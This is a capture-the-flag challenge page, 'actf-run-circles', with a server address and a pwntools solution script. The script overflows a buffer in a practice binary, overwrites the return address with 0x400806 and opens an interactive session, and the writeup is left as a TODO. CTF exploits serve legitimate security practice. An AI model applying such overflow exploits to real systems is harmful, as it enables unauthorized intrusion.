actf-run-circles

Goals

• Try to find the flag

Server Address

• nc pwn.sniperoj.com 20000

Solution

#!/usr/bin/env python

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

if len(sys.argv) == 3:
    host = sys.argv[1]
    port = int(sys.argv[2])
    Io = remote(host, port)
else:
    Io = process("./pwn")

Io.sendline("1024")
Io.sendline("A")
Io.sendline("B" * 256 + "C" * 24 + p64(0x400806))
Io.sendline("0")

Io.interactive()

Writeups

• TODO